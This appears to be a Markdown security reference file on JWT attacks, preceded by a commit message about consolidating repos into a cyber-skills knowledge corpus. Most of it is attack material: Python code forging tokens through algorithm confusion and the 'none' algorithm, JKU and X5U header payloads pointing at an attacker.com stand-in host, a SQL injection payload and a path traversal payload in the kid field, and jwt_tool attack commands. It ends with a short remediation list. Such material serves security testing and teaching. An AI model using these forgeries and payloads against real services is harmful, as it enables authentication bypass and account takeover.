Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

100 lines
2.4 KiB
Markdown

# API Reference: JWT Algorithm Confusion Attack
## JWT Structure
### Three parts (dot-separated, Base64URL-encoded)
```
<header>.<payload>.<signature>
```
### Header
```json
{"alg": "RS256", "typ": "JWT"}
```
### Common Algorithms
| Algorithm | Type | Key |
|-----------|------|-----|
| HS256 | HMAC | Symmetric shared secret |
| RS256 | RSA | Asymmetric key pair |
| ES256 | ECDSA | Asymmetric key pair |
| none | None | No signature |
## Algorithm Confusion Attack
### Attack Flow
1. Server uses RS256 (asymmetric) with public/private key pair
2. Attacker obtains server's RSA public key
3. Attacker changes `alg` header from RS256 to HS256
4. Attacker signs token with the RSA public key as HMAC secret
5. Server verifies with public key using HMAC (accepts token)
### Forging with Public Key
```python
import hmac, hashlib, base64, json
header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url(json.dumps({"sub": "admin"}))
signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
token = f"{header}.{payload}.{base64url(signature)}"
```
## None Algorithm Attack
### Forged Token
```python
header = base64url('{"alg":"none","typ":"JWT"}')
payload = base64url('{"sub":"admin","admin":true}')
token = f"{header}.{payload}."
```
## JWT Header Injection Attacks
### JKU (JSON Web Key Set URL)
```json
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}
```
### X5U (X.509 URL)
```json
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}
```
### KID (Key ID) — SQL Injection
```json
{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}
```
### KID — Path Traversal
```json
{"alg": "HS256", "kid": "../../dev/null"}
```
## Python PyJWT Library
### Decode without verification
```python
import jwt
decoded = jwt.decode(token, options={"verify_signature": False})
```
### Verify with algorithm restriction
```python
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
```
## jwt_tool — JWT Testing Tool
### Scan for vulnerabilities
```bash
python3 jwt_tool.py <token> -M at # All tests
python3 jwt_tool.py <token> -X a # alg:none attack
python3 jwt_tool.py <token> -X k -pk public.pem # Key confusion
```
## Remediation
1. Always specify allowed algorithms: `algorithms=["RS256"]`
2. Never accept `alg: none`
3. Use separate verification logic for symmetric vs asymmetric
4. Validate JKU/X5U against allowlist